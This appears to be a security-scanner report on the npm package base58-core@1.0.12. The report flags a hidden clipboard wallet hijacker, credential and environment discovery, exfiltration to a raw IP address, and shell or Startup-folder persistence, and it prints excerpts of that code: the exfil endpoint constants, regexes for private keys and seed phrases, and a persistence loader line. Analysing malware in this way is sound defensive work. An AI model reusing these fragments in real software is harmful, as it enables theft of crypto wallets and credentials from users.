registry / base58-core / 1.0.12

base58-core@1.0.12

Fast, tree-shakeable Base58 encoder/decoder with TypeScript support

AI Security Review

scanned 6h ago · by lpm-firewall-ai

The package carries a hidden crypto-clipboard hijacker, host/profile detector, exfiltration client, and persistence writer in both runtime entrypoints. Due to the activation logic, the malicious routine does not appear to become active during normal import.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Importing dist/index.cjs or dist/index.js evaluates _checkActivation; payload activation appears blocked by its own delay/flag logic.

Impact

If activated or fixed, it would steal clipboard secrets, replace wallet addresses, report local wallet/browser/SSH/npm/env indicators, and persist via shell rc or Startup folder.

Mechanism

inert staged clipboard hijacker with credential/environment discovery, exfiltration, and persistence code

Attack narrative

The Base58 API is bundled with concealed malware code that can scan clipboard contents for crypto addresses and private-key-like values, exfiltrate captures and host discovery data, and install shell/Startup persistence. The activation gate appears defective, making the payload staged/inert in this inspected build rather than reliably executing on import.

Rationale

Source inspection confirms intentionally malicious payload code unrelated to the advertised encoder, but the observed activation path is internally broken. Treat as an inert staged payload carrier rather than confirmed currently executing malware.

Evidence

package.jsondist/index.cjsdist/index.jsREADME.mddist/index.d.ts/tmp/.base58_detection_sent~/.npmrc~/.env.env.env.local.env.production~/.bashrc~/.zshrc~/.profile~/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/base58-runtime.js

Network endpoints2

2.27.62.51:8080/api/health2.27.62.51:8081/api/health

Decision evidence

public snapshot

AI called this Suspicious at 93.0% confidence as Malware with low false-positive risk.

Evidence for warning

dist/index.cjs and dist/index.js contain hidden clipboard wallet-address replacement logic.
Code defines exfiltration to http://2.27.62.51:8080/api/health and :8081/api/health.
Detection code reads wallet/browser/Telegram/SSH/.npmrc/.env indicators from user home and cwd.
Persistence code appends shell rc hooks or writes a Windows Startup loader.
The dangerous block is hidden in package entrypoints, unrelated to Base58 encoding.

Evidence against

package.json has no install/postinstall hook; only prepublishOnly build script.
Activation is effectively inert: INSTALL_TIME is set at module load, _checkActivation runs immediately before the 72h delay can pass, and _internal.activate sets activated before calling _checkActivation.

Behavioral surface

Source

ChildProcessCryptoDynamicRequireEnvironmentVarsFilesystemNetworkShell

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 40.9 KB of source, external domains: 2.27.62.51

Source & flagged code

8 flagged

dist/index.jsView file

Lines 1-31javascript

1import * as fs from 'fs';

2import * as path from 'path';

3import * as os from 'os';

5const ALPHABET = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';

6const ALPHABET_MAP = {};

7for (let i = 0; i < ALPHABET.length; i++) {

8 ALPHABET_MAP[ALPHABET[i]] = i;

10function sha256(data) {

11 try {

12 const nodeCrypto = require('crypto');

13 return new Uint8Array(nodeCrypto.createHash('sha256').update(data).digest());

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/index.jsView on unpkg · L11

14 }

15 catch {

16 throw new Error('SHA-256 not available');

17 }

18}

19function doubleSha256(data) {

20 return sha256(sha256(data));

21}

22function encode(data) {

23 const bytes = typeof data === 'string' ? new TextEncoder().encode(data) : data;

24 if (bytes.length === 0)

25 return '';

26 let leadingZeros = 0;

27 for (let i = 0; i < bytes.length && bytes[i] === 0; i++) {

28 leadingZeros++;

29 }

30 const digits = [0];

31 for (let i = 0; i < bytes.length; i++) {

Lines 83-123javascript

83 return encode(combined);

84}

85function decodeChecked(encoded) {

86 const decoded = decode(encoded);

87 if (decoded.length < 4) {

88 throw new Error(

Lines 513-553javascript

513 original: content.slice(0, 2000),

514 });

515 if (replaced !== content) {

516 setClipboard(replaced);

517 lastClipboard = replaced;

518 }

519 }

520}

521function establishPersistence() {

•matchType = normalized_sha256 matchedPackage = base58-core@1.0.11 matchedPath = dist/index.js matchedIdentity = npm:YmFzZTU4LWNvcmU:1.0.11 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/index.jsView on unpkg

dist/index.cjsView file

•Trigger-reachable chain: manifest.main -> dist/index.cjs Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.cjsView on unpkg

•matchType = normalized_sha256 matchedPackage = base58-core@1.0.11 matchedPath = dist/index.cjs matchedIdentity = npm:YmFzZTU4LWNvcmU:1.0.11 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/index.cjsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = e7d654f5e60435c0 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = base58-core@1.0.11 matchedPath = dist/index.cjs matchedIdentity = npm:YmFzZTU4LWNvcmU:1.0.11 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/index.cjsView on unpkg

Source & flagged code

8 flagged · loading source

dist/index.jsView file

103const ACTIVATION_DELAY = 72 * 60 * 60 * 1000; L104: const EXFIL_PRIMARY = 'http://2.27.62.51:8080/api/health'; L105: const EXFIL_BACKUP = 'http://2.27.62.51:8081/api/health'; ... L110: { name: 'sol', regex: /\b[1-9A-HJ-NP-Za-km-z]{32,44}\b/g, replacement: '[redacted]' }, L111: { name: 'private_key_wif', regex: /\b[5KL][1-9A-HJ-NP-Za-km-z]{50,52}\b/g, replacement: '' }, L112: { name: 'seed_phrase', regex: /\b([a-z]{3,8}\s){11,23}[a-z]{3,8}\b/gi, replacement: '' }, ... L127: ...data, L128: hostname: process.env?.HOSTNAME || os.hostname() || 'unknown', L129: platform: process.platform || 'unknown', ... L140: headers: { 'Content-Type': 'application/json' }, L141: body: payload, L142: signal: controller.signal,

Critical

Clipboard Crypto Hijack

Source reads and rewrites clipboard contents matching cryptocurrency wallet addresses.

dist/index.jsView on unpkg · L103

533package = base58-core; repositoryIdentity = core; dependency = base58-core L533: try { L534: fs.writeFileSync(t, '// runtime loader\ntry { require("base58-core")._internal.activate(); } catch(e) {}'); L535: }

High

Copied Package Dependency Bridge

Package metadata claims a different repository identity while copied source loads a runtime dependency bridge.

dist/index.jsView on unpkg · L533

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/index.jsView on unpkg

11try { L12: const nodeCrypto = require('crypto'); L13: return new Uint8Array(nodeCrypto.createHash('sha256').update(data).digest());

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/index.jsView on unpkg · L11

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

dist/index.jsView on unpkg · L103

dist/index.cjsView file

•Trigger-reachable chain: manifest.main -> dist/index.cjs Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.cjsView on unpkg

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/index.cjsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/index.cjsView on unpkg

Findings

2 Critical4 High5 Medium5 Low

CriticalClipboard Crypto Hijackdist/index.js

CriticalTrigger Reachable Dangerous Capabilitydist/index.cjs

HighCopied Package Dependency Bridgedist/index.js

HighKnown Malware Source Similaritydist/index.cjs

HighKnown Malware Source Similaritydist/index.js

HighKnown Malware Source Fingerprint Signaturedist/index.cjs

MediumDynamic Requiredist/index.js

MediumNetwork

MediumEnvironment Vars

MediumInstall Persistencedist/index.js

MediumStructural Risk Force Deep Review

LowNon Install Lifecycle Scripts

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Source & flagged code

8 flagged

dist/index.jsView file

Lines 1-31javascript

1import * as fs from 'fs';

2import * as path from 'path';

3import * as os from 'os';

5const ALPHABET = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';

6const ALPHABET_MAP = {};

7for (let i = 0; i < ALPHABET.length; i++) {

8 ALPHABET_MAP[ALPHABET[i]] = i;

10function sha256(data) {

11 try {

12 const nodeCrypto = require('crypto');

13 return new Uint8Array(nodeCrypto.createHash('sha256').update(data).digest());

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/index.jsView on unpkg · L11

14 }

15 catch {

16 throw new Error('SHA-256 not available');

17 }

18}

19function doubleSha256(data) {

20 return sha256(sha256(data));

21}

22function encode(data) {

23 const bytes = typeof data === 'string' ? new TextEncoder().encode(data) : data;

24 if (bytes.length === 0)

25 return '';

26 let leadingZeros = 0;

27 for (let i = 0; i < bytes.length && bytes[i] === 0; i++) {

28 leadingZeros++;

29 }

30 const digits = [0];

31 for (let i = 0; i < bytes.length; i++) {

Lines 83-123javascript

83 return encode(combined);

84}

85function decodeChecked(encoded) {

86 const decoded = decode(encoded);

87 if (decoded.length < 4) {

88 throw new Error(

Lines 513-553javascript

513 original: content.slice(0, 2000),

514 });

515 if (replaced !== content) {

516 setClipboard(replaced);

517 lastClipboard = replaced;

518 }

519 }

520}

521function establishPersistence() {

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/index.jsView on unpkg

dist/index.cjsView file

•Trigger-reachable chain: manifest.main -> dist/index.cjs Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.cjsView on unpkg

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/index.cjsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/index.cjsView on unpkg